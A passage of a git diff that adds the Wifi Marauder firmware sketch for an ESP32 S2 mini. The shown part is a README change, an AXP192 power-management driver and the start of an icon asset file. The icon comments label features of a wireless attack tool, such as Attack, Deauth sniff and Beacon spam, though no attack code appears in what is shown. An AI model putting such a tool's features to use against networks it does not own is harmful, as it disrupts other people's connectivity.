diff --git a/README.md b/README.md
index eaa8a5a..9275898 100644
--- a/README.md
+++ b/README.md
@@ -3,11 +3,11 @@
-## 🌟 Updates as of 04/30/24 🌟
+## 🌟 Updates as of 06/27/24 🌟
-- **Marauder files for S2 mini updated to v0.13.10**
+- **Marauder files for S2 mini updated to v1.0.0**
- **TX & RX pins defined to correct pins on S2 mini
(Thanks to Danny-(Ant966) & SurvivalHacking for providing your diagrams)**
@@ -28,8 +28,10 @@ tutorial for building and I'm using a pcb prototyping board to build it all on.
the sd breakout had be done to allow it to fit under the wemos S2.
If you read the reddit post by Ant966 at the bottom they have a diagram showing wiring. I have also provided my own diagram as well below.
-## ✴️ Marauder Info ✴️
+## Added Arduino Sketch
+The folder titled "S2Mini_esp32_v1.0.0_marauder" contains the sketch files if you'd like to adjust anything in the sketch before flashing.
+## ✴️ Marauder Info ✴️
More info about "Wifi Marauder" can be located HERE.
diff --git a/S2Mini_esp32_v1.0.0_marauder/.theia/launch.json b/S2Mini_esp32_v1.0.0_marauder/.theia/launch.json
new file mode 100644
index 0000000..7e4253b
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/.theia/launch.json
@@ -0,0 +1,8 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ "version": "0.2.0",
+ "configurations": [
+
+ ]
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/AXP192.cpp b/S2Mini_esp32_v1.0.0_marauder/AXP192.cpp
new file mode 100644
index 0000000..33210cd
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/AXP192.cpp
@@ -0,0 +1,435 @@
+#include "AXP192.h"
+
+AXP192::AXP192() {
+}
+
+void AXP192::begin(void) {
+ Wire1.begin(21, 22);
+ Wire1.setClock(400000);
+
+ // Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
+ Write1Byte(0x28, 0xcc);
+
+ // Set ADC to All Enable
+ Write1Byte(0x82, 0xff);
+
+ // Bat charge voltage to 4.2, Current 100MA
+ Write1Byte(0x33, 0xc0);
+
+ // Enable Bat,ACIN,VBUS,APS adc
+ Write1Byte(0x82, 0xff);
+
+ // Enable Ext, LDO2, LDO3, DCDC1
+ Write1Byte(0x12, Read8bit(0x12) | 0x4D);
+
+ // 128ms power on, 4s power off
+ Write1Byte(0x36, 0x0C);
+
+ // Set RTC voltage to 3.3V
+ Write1Byte(0x91, 0xF0);
+
+ // Set GPIO0 to LDO
+ Write1Byte(0x90, 0x02);
+
+ // Disable vbus hold limit
+ Write1Byte(0x30, 0x80);
+
+ // Set temperature protection
+ Write1Byte(0x39, 0xfc);
+
+ // Enable RTC BAT charge
+ Write1Byte(0x35, 0xa2);
+
+ // Enable bat detection
+ Write1Byte(0x32, 0x46);
+
+ // ScreenBreath(80);
+}
+
+void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
+ Wire1.beginTransmission(0x34);
+ Wire1.write(Addr);
+ Wire1.write(Data);
+ Wire1.endTransmission();
+}
+
+uint8_t AXP192::Read8bit(uint8_t Addr) {
+ Wire1.beginTransmission(0x34);
+ Wire1.write(Addr);
+ Wire1.endTransmission();
+ Wire1.requestFrom(0x34, 1);
+ return Wire1.read();
+}
+
+uint16_t AXP192::Read12Bit(uint8_t Addr) {
+ uint16_t Data = 0;
+ uint8_t buf[2];
+ ReadBuff(Addr, 2, buf);
+ Data = ((buf[0] << 4) + buf[1]); //
+ return Data;
+}
+
+uint16_t AXP192::Read13Bit(uint8_t Addr) {
+ uint16_t Data = 0;
+ uint8_t buf[2];
+ ReadBuff(Addr, 2, buf);
+ Data = ((buf[0] << 5) + buf[1]); //
+ return Data;
+}
+
+uint16_t AXP192::Read16bit(uint8_t Addr) {
+ uint16_t ReData = 0;
+ Wire1.beginTransmission(0x34);
+ Wire1.write(Addr);
+ Wire1.endTransmission();
+ Wire1.requestFrom(0x34, 2);
+ for (int i = 0; i < 2; i++) {
+ ReData <<= 8;
+ ReData |= Wire1.read();
+ }
+ return ReData;
+}
+
+uint32_t AXP192::Read24bit(uint8_t Addr) {
+ uint32_t ReData = 0;
+ Wire1.beginTransmission(0x34);
+ Wire1.write(Addr);
+ Wire1.endTransmission();
+ Wire1.requestFrom(0x34, 3);
+ for (int i = 0; i < 3; i++) {
+ ReData <<= 8;
+ ReData |= Wire1.read();
+ }
+ return ReData;
+}
+
+uint32_t AXP192::Read32bit(uint8_t Addr) {
+ uint32_t ReData = 0;
+ Wire1.beginTransmission(0x34);
+ Wire1.write(Addr);
+ Wire1.endTransmission();
+ Wire1.requestFrom(0x34, 4);
+ for (int i = 0; i < 4; i++) {
+ ReData <<= 8;
+ ReData |= Wire1.read();
+ }
+ return ReData;
+}
+
+void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
+ Wire1.beginTransmission(0x34);
+ Wire1.write(Addr);
+ Wire1.endTransmission();
+ Wire1.requestFrom(0x34, (int)Size);
+ for (int i = 0; i < Size; i++) {
+ *(Buff + i) = Wire1.read();
+ }
+}
+
+void AXP192::ScreenBreath(int brightness) {
+ if (brightness > 100 || brightness < 0) return;
+ int vol = map(brightness, 0, 100, 2500, 3200);
+ vol = (vol < 1800) ? 0 : (vol - 1800) / 100;
+ uint8_t buf = Read8bit(0x28);
+ Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
+}
+
+void AXP192::ScreenSwitch(bool state) {
+ uint8_t brightness;
+ if (state == false) {
+ brightness = 0;
+ } else if (state == true) {
+ brightness = 12;
+ }
+ uint8_t buf = Read8bit(0x28);
+ Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
+}
+
+bool AXP192::GetBatState() {
+ if (Read8bit(0x01) | 0x20)
+ return true;
+ else
+ return false;
+}
+//---------coulombcounter_from_here---------
+// enable: void EnableCoulombcounter(void);
+// disable: void DisableCOulombcounter(void);
+// stop: void StopCoulombcounter(void);
+// clear: void ClearCoulombcounter(void);
+// get charge data: uint32_t GetCoulombchargeData(void);
+// get discharge data: uint32_t GetCoulombdischargeData(void);
+// get coulomb val affter calculation: float GetCoulombData(void);
+//------------------------------------------
+void AXP192::EnableCoulombcounter(void) {
+ Write1Byte(0xB8, 0x80);
+}
+
+void AXP192::DisableCoulombcounter(void) {
+ Write1Byte(0xB8, 0x00);
+}
+
+void AXP192::StopCoulombcounter(void) {
+ Write1Byte(0xB8, 0xC0);
+}
+
+void AXP192::ClearCoulombcounter(void) {
+ Write1Byte(0xB8, 0xA0);
+}
+
+uint32_t AXP192::GetCoulombchargeData(void) {
+ return Read32bit(0xB0);
+}
+
+uint32_t AXP192::GetCoulombdischargeData(void) {
+ return Read32bit(0xB4);
+}
+
+float AXP192::GetCoulombData(void) {
+ uint32_t coin = 0;
+ uint32_t coout = 0;
+
+ coin = GetCoulombchargeData();
+ coout = GetCoulombdischargeData();
+
+ // c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
+ // Adc rate can be read from 84H ,change this variable if you change the ADC
+ // reate
+ float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
+
+ return ccc;
+}
+//----------coulomb_end_at_here----------
+
+uint16_t AXP192::GetVbatData(void) {
+ uint16_t vbat = 0;
+ uint8_t buf[2];
+ ReadBuff(0x78, 2, buf);
+ vbat = ((buf[0] << 4) + buf[1]); // V
+ return vbat;
+}
+
+uint16_t AXP192::GetVinData(void) {
+ uint16_t vin = 0;
+ uint8_t buf[2];
+ ReadBuff(0x56, 2, buf);
+ vin = ((buf[0] << 4) + buf[1]); // V
+ return vin;
+}
+
+uint16_t AXP192::GetIinData(void) {
+ uint16_t iin = 0;
+ uint8_t buf[2];
+ ReadBuff(0x58, 2, buf);
+ iin = ((buf[0] << 4) + buf[1]);
+ return iin;
+}
+
+uint16_t AXP192::GetVusbinData(void) {
+ uint16_t vin = 0;
+ uint8_t buf[2];
+ ReadBuff(0x5a, 2, buf);
+ vin = ((buf[0] << 4) + buf[1]); // V
+ return vin;
+}
+
+uint16_t AXP192::GetIusbinData(void) {
+ uint16_t iin = 0;
+ uint8_t buf[2];
+ ReadBuff(0x5C, 2, buf);
+ iin = ((buf[0] << 4) + buf[1]);
+ return iin;
+}
+
+uint16_t AXP192::GetIchargeData(void) {
+ uint16_t icharge = 0;
+ uint8_t buf[2];
+ ReadBuff(0x7A, 2, buf);
+ icharge = (buf[0] << 5) + buf[1];
+ return icharge;
+}
+
+uint16_t AXP192::GetIdischargeData(void) {
+ uint16_t idischarge = 0;
+ uint8_t buf[2];
+ ReadBuff(0x7C, 2, buf);
+ idischarge = (buf[0] << 5) + buf[1];
+ return idischarge;
+}
+
+uint16_t AXP192::GetTempData(void) {
+ uint16_t temp = 0;
+ uint8_t buf[2];
+ ReadBuff(0x5e, 2, buf);
+ temp = ((buf[0] << 4) + buf[1]);
+ return temp;
+}
+
+uint32_t AXP192::GetPowerbatData(void) {
+ uint32_t power = 0;
+ uint8_t buf[3];
+ ReadBuff(0x70, 2, buf);
+ power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
+ return power;
+}
+
+uint16_t AXP192::GetVapsData(void) {
+ uint16_t vaps = 0;
+ uint8_t buf[2];
+ ReadBuff(0x7e, 2, buf);
+ vaps = ((buf[0] << 4) + buf[1]);
+ return vaps;
+}
+
+void AXP192::SetSleep(void) {
+ uint8_t buf = Read8bit(0x31);
+ buf = (1 << 3) | buf;
+ Write1Byte(0x31, buf);
+ Write1Byte(0x90, 0x00);
+ Write1Byte(0x12, 0x09);
+ // Write1Byte(0x12, 0x00);
+ Write1Byte(0x12, Read8bit(0x12) & 0xA1); // Disable all outputs but DCDC1
+}
+
+uint8_t AXP192::GetWarningLeve(void) {
+ Wire1.beginTransmission(0x34);
+ Wire1.write(0x47);
+ Wire1.endTransmission();
+ Wire1.requestFrom(0x34, 1);
+ uint8_t buf = Wire1.read();
+ return (buf & 0x01);
+}
+
+// -- sleep
+void AXP192::DeepSleep(uint64_t time_in_us) {
+ SetSleep();
+
+ if (time_in_us > 0) {
+ esp_sleep_enable_timer_wakeup(time_in_us);
+ } else {
+ esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
+ }
+ (time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
+}
+
+void AXP192::LightSleep(uint64_t time_in_us) {
+ SetSleep();
+
+ if (time_in_us > 0) {
+ esp_sleep_enable_timer_wakeup(time_in_us);
+ } else {
+ esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
+ }
+ esp_light_sleep_start();
+}
+
+// 0 not press, 0x01 long press, 0x02 press
+uint8_t AXP192::GetBtnPress() {
+ uint8_t state = Read8bit(0x46);
+ if (state) {
+ Write1Byte(0x46, 0x03);
+ }
+ return state;
+}
+
+uint8_t AXP192::GetWarningLevel(void) {
+ return Read8bit(0x47) & 0x01;
+}
+
+float AXP192::GetBatVoltage() {
+ float ADCLSB = 1.1 / 1000.0;
+ uint16_t ReData = Read12Bit(0x78);
+ return ReData * ADCLSB;
+}
+
+float AXP192::GetBatCurrent() {
+ float ADCLSB = 0.5;
+ uint16_t CurrentIn = Read13Bit(0x7A);
+ uint16_t CurrentOut = Read13Bit(0x7C);
+ return (CurrentIn - CurrentOut) * ADCLSB;
+}
+
+float AXP192::GetVinVoltage() {
+ float ADCLSB = 1.7 / 1000.0;
+ uint16_t ReData = Read12Bit(0x56);
+ return ReData * ADCLSB;
+}
+
+float AXP192::GetVinCurrent() {
+ float ADCLSB = 0.625;
+ uint16_t ReData = Read12Bit(0x58);
+ return ReData * ADCLSB;
+}
+
+float AXP192::GetVBusVoltage() {
+ float ADCLSB = 1.7 / 1000.0;
+ uint16_t ReData = Read12Bit(0x5A);
+ return ReData * ADCLSB;
+}
+
+float AXP192::GetVBusCurrent() {
+ float ADCLSB = 0.375;
+ uint16_t ReData = Read12Bit(0x5C);
+ return ReData * ADCLSB;
+}
+
+float AXP192::GetTempInAXP192() {
+ float ADCLSB = 0.1;
+ const float OFFSET_DEG_C = -144.7;
+ uint16_t ReData = Read12Bit(0x5E);
+ return OFFSET_DEG_C + ReData * ADCLSB;
+}
+
+float AXP192::GetBatPower() {
+ float VoltageLSB = 1.1;
+ float CurrentLCS = 0.5;
+ uint32_t ReData = Read24bit(0x70);
+ return VoltageLSB * CurrentLCS * ReData / 1000.0;
+}
+
+float AXP192::GetBatChargeCurrent() {
+ float ADCLSB = 0.5;
+ uint16_t ReData = Read12Bit(0x7A);
+ return ReData * ADCLSB;
+}
+float AXP192::GetAPSVoltage() {
+ float ADCLSB = 1.4 / 1000.0;
+ uint16_t ReData = Read12Bit(0x7E);
+ return ReData * ADCLSB;
+}
+
+float AXP192::GetBatCoulombInput() {
+ uint32_t ReData = Read32bit(0xB0);
+ return ReData * 65536 * 0.5 / 3600 / 25.0;
+}
+
+float AXP192::GetBatCoulombOut() {
+ uint32_t ReData = Read32bit(0xB4);
+ return ReData * 65536 * 0.5 / 3600 / 25.0;
+}
+
+void AXP192::SetCoulombClear() {
+ Write1Byte(0xB8, 0x20);
+}
+
+void AXP192::SetLDO2(bool State) {
+ uint8_t buf = Read8bit(0x12);
+ if (State == true)
+ buf = (1 << 2) | buf;
+ else
+ buf = ~(1 << 2) & buf;
+ Write1Byte(0x12, buf);
+}
+
+// Cut all power, except for LDO1 (RTC)
+void AXP192::PowerOff() {
+ Write1Byte(0x32, Read8bit(0x32) | 0x80); // MSB for Power Off
+}
+
+void AXP192::SetPeripherialsPower(uint8_t state) {
+ if (!state)
+ Write1Byte(0x10, Read8bit(0x10) & 0XFB);
+ else if (state)
+ Write1Byte(0x10, Read8bit(0x10) | 0X04);
+ // uint8_t data;
+ // Set EXTEN to enable 5v boost
+}
\ No newline at end of file
diff --git a/S2Mini_esp32_v1.0.0_marauder/AXP192.h b/S2Mini_esp32_v1.0.0_marauder/AXP192.h
new file mode 100644
index 0000000..2522c53
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/AXP192.h
@@ -0,0 +1,83 @@
+#pragma once
+
+#ifndef __AXP192_H__
+#define __AXP192_H__
+
+#include
+#include
+
+#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
+#define SLEEP_SEC(us) (((uint64_t)us) * 1000000L)
+#define SLEEP_MIN(us) (((uint64_t)us) * 60L * 1000000L)
+#define SLEEP_HR(us) (((uint64_t)us) * 60L * 60L * 1000000L)
+
+class AXP192 {
+ public:
+ AXP192();
+ void begin(void);
+ void ScreenBreath(int brightness);
+ void ScreenSwitch(bool state);
+
+ bool GetBatState();
+
+ void EnableCoulombcounter(void);
+ void DisableCoulombcounter(void);
+ void StopCoulombcounter(void);
+ void ClearCoulombcounter(void);
+ uint32_t GetCoulombchargeData(void);
+ uint32_t GetCoulombdischargeData(void);
+ float GetCoulombData(void);
+
+ uint16_t GetVbatData(void) __attribute__((deprecated));
+ uint16_t GetIchargeData(void) __attribute__((deprecated));
+ uint16_t GetIdischargeData(void) __attribute__((deprecated));
+ uint16_t GetTempData(void) __attribute__((deprecated));
+ uint32_t GetPowerbatData(void) __attribute__((deprecated));
+ uint16_t GetVinData(void) __attribute__((deprecated));
+ uint16_t GetIinData(void) __attribute__((deprecated));
+ uint16_t GetVusbinData(void) __attribute__((deprecated));
+ uint16_t GetIusbinData(void) __attribute__((deprecated));
+ uint16_t GetVapsData(void) __attribute__((deprecated));
+ uint8_t GetBtnPress(void);
+
+ // -- sleep
+ void SetSleep(void);
+ void DeepSleep(uint64_t time_in_us = 0);
+ void LightSleep(uint64_t time_in_us = 0);
+ uint8_t GetWarningLeve(void);
+
+ public:
+ // void SetChargeVoltage( uint8_t );
+ // void SetChargeCurrent( uint8_t );
+ float GetBatVoltage();
+ float GetBatCurrent();
+ float GetVinVoltage();
+ float GetVinCurrent();
+ float GetVBusVoltage();
+ float GetVBusCurrent();
+ float GetTempInAXP192();
+ float GetBatPower();
+ float GetBatChargeCurrent();
+ float GetAPSVoltage();
+ float GetBatCoulombInput();
+ float GetBatCoulombOut();
+ uint8_t GetWarningLevel(void);
+ void SetCoulombClear();
+ void SetLDO2(bool State);
+ void SetPeripherialsPower(uint8_t state);
+
+ // -- Power Off
+ void PowerOff();
+
+ public:
+ void Write1Byte(uint8_t Addr, uint8_t Data);
+ uint8_t Read8bit(uint8_t Addr);
+ uint16_t Read12Bit(uint8_t Addr);
+ uint16_t Read13Bit(uint8_t Addr);
+ uint16_t Read16bit(uint8_t Addr);
+ uint32_t Read24bit(uint8_t Addr);
+ uint32_t Read32bit(uint8_t Addr);
+ void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/Assets.h b/S2Mini_esp32_v1.0.0_marauder/Assets.h
new file mode 100644
index 0000000..c52dd11
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Assets.h
@@ -0,0 +1,1838 @@
+#pragma once
+
+#ifndef Assets_h
+#define Assets_h
+
+#include "configs.h"
+
+//#define jquery_min_js_v3_2_1_gz_len 30178
+
+PROGMEM static String espressif_macs[] = {
+ "fc:f5:c4"};
+
+PROGMEM static const unsigned char menu_icons[][66] = {
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x37, 0xFF, 0xFF, 0x3A, // Attack: 0
+ 0xFF, 0xFF, 0x39, 0xFF, 0xBF, 0x3C, 0xFF, 0x7F, 0x3E, 0xFF, 0x2F, 0x3F,
+ 0xFF, 0x9F, 0x3F, 0xFF, 0xCB, 0x3F, 0xFF, 0xE7, 0x3F, 0xCF, 0xF2, 0x3F,
+ 0xDF, 0xF9, 0x3F, 0xBF, 0xFC, 0x3F, 0x3F, 0xFF, 0x3F, 0x7F, 0xFE, 0x3F,
+ 0xDF, 0xF9, 0x3F, 0xCF, 0xFB, 0x3F, 0xE7, 0xFF, 0x3F, 0xF3, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xBF, 0xDD, 0x3E, 0xDF, 0xBE, 0x3D, 0x5F, 0x6B, 0x3D, 0x5F, 0x5D, 0x3D, // Beacon sniff: 1
+ 0x5F, 0x55, 0x3D, 0xFF, 0xF7, 0x3F, 0xFF, 0xF7, 0x3F, 0xFF, 0xEB, 0x3F,
+ 0xFF, 0xEB, 0x3F, 0xFF, 0xEB, 0x3F, 0xFF, 0xDD, 0x3F, 0xFF, 0xD5, 0x3F,
+ 0xFF, 0xC9, 0x3F, 0xFF, 0xDD, 0x3F, 0xFF, 0xC9, 0x3F, 0xFF, 0xB6, 0x3F,
+ 0xFF, 0xAA, 0x3F, 0xFF, 0x9C, 0x3F, 0xFF, 0xAA, 0x3F, 0x7F, 0x77, 0x3F,
+ 0x7F, 0x49, 0x3F, 0x7F, 0x3E, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFB, 0x3F, // Bluetooth: 2
+ 0xFF, 0xF3, 0x3F, 0xFF, 0xEB, 0x3F, 0xFF, 0xDB, 0x3F, 0x7F, 0xBB, 0x3F,
+ 0xFF, 0xDA, 0x3F, 0xFF, 0xE9, 0x3F, 0xFF, 0xF3, 0x3F, 0xFF, 0xF3, 0x3F,
+ 0xFF, 0xE9, 0x3F, 0xFF, 0xDA, 0x3F, 0x7F, 0xBB, 0x3F, 0xFF, 0xDB, 0x3F,
+ 0xFF, 0xEB, 0x3F, 0xFF, 0xF3, 0x3F, 0xFF, 0xFB, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xCF, 0xFB, 0x3F, // Bluetooth Sniff: 3
+ 0xF7, 0xF9, 0x3F, 0xDB, 0xFA, 0x3F, 0x6B, 0xFB, 0x3F, 0xAB, 0xDB, 0x3F,
+ 0x6B, 0xEB, 0x3F, 0xDB, 0xF2, 0x3F, 0xF7, 0x79, 0x3E, 0xCF, 0xF3, 0x3D,
+ 0xFF, 0x69, 0x3B, 0xFF, 0xDA, 0x3A, 0x7F, 0xBB, 0x3A, 0xFF, 0xDB, 0x3A,
+ 0xFF, 0x6B, 0x3B, 0xFF, 0xF3, 0x3D, 0xFF, 0x7B, 0x3E, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xE1, 0x3F, 0x7F, 0x80, 0x3F, // Deauth sniff: 4
+ 0x3F, 0x00, 0x3F, 0x1F, 0x00, 0x3E, 0x1F, 0x00, 0x3E, 0x1F, 0x00, 0x3E,
+ 0x1F, 0x00, 0x3E, 0x9F, 0x73, 0x3E, 0xDF, 0xF3, 0x3E, 0x9F, 0x65, 0x3E,
+ 0x1F, 0x0C, 0x3E, 0x3F, 0x0C, 0x3F, 0x3F, 0x00, 0x3F, 0x3F, 0x25, 0x3F,
+ 0x7F, 0x8C, 0x3F, 0x7F, 0x80, 0x3F, 0xFF, 0xC0, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3D, 0xFF, 0xFF, 0x38, // Draw: 5
+ 0xFF, 0x7F, 0x3D, 0xFF, 0xBF, 0x3E, 0xFF, 0x5F, 0x3F, 0xFF, 0xAF, 0x3F,
+ 0xFF, 0xD7, 0x3F, 0xFF, 0xEB, 0x3F, 0xFF, 0xF5, 0x3F, 0xFF, 0xFA, 0x3F,
+ 0x7F, 0xFD, 0x3F, 0xBF, 0xFE, 0x3F, 0x3F, 0xFF, 0x3F, 0xDF, 0xFF, 0x3F,
+ 0x1F, 0x00, 0x00, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xBF, 0x3F, // Packet monitor: 6
+ 0xFF, 0xBF, 0x3F, 0xFF, 0xBF, 0x3F, 0xFF, 0xBF, 0x3F, 0xFF, 0x5E, 0x3F,
+ 0xFF, 0x5E, 0x3F, 0x7F, 0x5D, 0x3F, 0x20, 0xED, 0x00, 0xAF, 0xEB, 0x3F,
+ 0xDF, 0xEB, 0x3F, 0xDF, 0xEB, 0x3F, 0xFF, 0xF7, 0x3F, 0xFF, 0xF7, 0x3F,
+ 0xFF, 0xF7, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xDB, 0x3F, 0xFF, 0xED, 0x3F, 0xFF, 0xB5, 0x3F, 0xFF, 0xD5, 0x3F, // Probe sniff: 7
+ 0xFF, 0x55, 0x3E, 0xFF, 0xF5, 0x3D, 0xFF, 0xED, 0x3D, 0xFF, 0x7B, 0x3E,
+ 0xFF, 0xBF, 0x3F, 0xFF, 0xCF, 0x3F, 0xFF, 0xD7, 0x3F, 0xFF, 0xEB, 0x3F,
+ 0xFF, 0xF5, 0x3F, 0xFF, 0xF8, 0x3F, 0x7F, 0xFC, 0x3F, 0x3F, 0xFE, 0x3F,
+ 0x1F, 0xFF, 0x3F, 0x8F, 0xFF, 0x3F, 0xCF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xC0, 0x3F, 0x3F, 0x3F, 0x3F, 0xDF, 0xFF, 0x3E, // Scanners: 8
+ 0xEF, 0xEF, 0x3D, 0xF7, 0xFF, 0x39, 0xFB, 0xE1, 0x36, 0xDB, 0x5E, 0x37,
+ 0x7D, 0xBF, 0x2F, 0xBD, 0x5E, 0x2F, 0xBD, 0x63, 0x2F, 0xBD, 0x73, 0x2F,
+ 0xBD, 0x7F, 0x2F, 0x7D, 0xBF, 0x2F, 0xFB, 0xDE, 0x37, 0xFB, 0xE1, 0x37,
+ 0xF7, 0xFF, 0x3B, 0xEF, 0xFF, 0x3D, 0xDF, 0xFF, 0x3E, 0x3F, 0x3F, 0x3F,
+ 0xFF, 0xC0, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0x1F, 0x60, 0x3F, 0x0F, 0xC0, 0x3E, // CC Skimmers: 9
+ 0xEF, 0xDF, 0x3C, 0xEF, 0xDF, 0x38, 0xEF, 0xDF, 0x3A, 0xEF, 0xDF, 0x39,
+ 0xEF, 0xDF, 0x3B, 0xEF, 0xDF, 0x3B, 0x0F, 0xC0, 0x3B, 0x0F, 0x80, 0x3B,
+ 0x0F, 0x40, 0x3B, 0x0F, 0x40, 0x3B, 0x0F, 0x40, 0x3B, 0x0F, 0x40, 0x3B,
+ 0x0F, 0xC0, 0x3C, 0x0F, 0xC0, 0x3F, 0x07, 0x80, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFB, 0x3F, 0xFF, 0xFB, 0x3F, // Sniffers: 10
+ 0xFF, 0xF3, 0x3F, 0xFF, 0xE7, 0x3F, 0xFF, 0xCF, 0x3F, 0xFF, 0x3F, 0x3F,
+ 0xFF, 0x7F, 0x3E, 0xFF, 0xFF, 0x3C, 0xFF, 0xFF, 0x3D, 0xFF, 0xFF, 0x39,
+ 0xFF, 0xFF, 0x3B, 0x3F, 0xF8, 0x3B, 0x9F, 0xFB, 0x3B, 0xDF, 0xFF, 0x39,
+ 0x5F, 0xFC, 0x3C, 0x3F, 0x03, 0x3E, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, // WiFi: 11
+ 0x7F, 0x80, 0x3F, 0x9F, 0x7F, 0x3E, 0xE7, 0xFF, 0x39, 0xFB, 0xFF, 0x37,
+ 0xFF, 0xC0, 0x3F, 0x1F, 0x3F, 0x3E, 0xEF, 0xFF, 0x3D, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xE1, 0x3F, 0x7F, 0x9E, 0x3F, 0xBF, 0x7F, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xF3, 0x3F, 0xFF, 0xF3, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0x2F, 0xE2, 0x25, 0x92, 0x3F, 0x37, 0xFD, 0x7E, 0x3B, 0x97, 0xE6, 0x04, // Beacon spam: 12
+ 0x7B, 0xFF, 0x3D, 0xCB, 0x55, 0x23, 0x3C, 0xFF, 0x3F, 0xF1, 0xBF, 0x29,
+ 0xDF, 0xFF, 0x13, 0xF4, 0xF3, 0x0E, 0xD9, 0xED, 0x1B, 0xF4, 0xED, 0x3F,
+ 0xF5, 0xF3, 0x12, 0xDB, 0xFF, 0x2A, 0x66, 0xBF, 0x39, 0x99, 0xFF, 0x13,
+ 0x61, 0x5A, 0x1D, 0x0D, 0x77, 0x19, 0xD2, 0xBA, 0x23, 0xAF, 0x45, 0x35,
+ 0x6F, 0x99, 0x36, 0x2C, 0xD6, 0x2A},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, 0xFF, 0x87, 0x3F, 0xFF, 0x03, 0x3F, // Rick roll: 13
+ 0xFF, 0x13, 0x3F, 0xFF, 0x7B, 0x3F, 0xFF, 0x7B, 0x3E, 0xFF, 0x79, 0x3E,
+ 0xFF, 0x7D, 0x3E, 0xFF, 0x3C, 0x3F, 0xFF, 0x8E, 0x3F, 0x7F, 0xE0, 0x3F,
+ 0x3F, 0xF3, 0x3F, 0xBF, 0xE7, 0x3F, 0x9F, 0xCF, 0x3F, 0xCF, 0x9F, 0x3B,
+ 0xE7, 0x3F, 0x38, 0xC7, 0xFF, 0x3E, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
+ {0xFF, 0xFF, 0x3F, 0xFF, 0xEF, 0x3F, 0xFF, 0xDF, 0x3F, 0xFF, 0xA0, 0x3F, // reboot: 14
+ 0x3F, 0x9F, 0x3F, 0xDF, 0xE7, 0x3F, 0xEF, 0xFB, 0x3E, 0xEF, 0xFF, 0x3E,
+ 0xF7, 0xFF, 0x3D, 0xF7, 0xFF, 0x3D, 0xF7, 0xFF, 0x3D, 0xF7, 0xFF, 0x3D,
+ 0xF7, 0xFF, 0x3D, 0xEF, 0xFF, 0x3E, 0xEF, 0xFB, 0x3E, 0xFF, 0x7C, 0x3F,
+ 0x3F, 0x9F, 0x3F, 0xBF, 0xE0, 0x3F, 0x7F, 0xFF, 0x3F, 0xFF, 0xFE, 0x3F,
+ 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F},
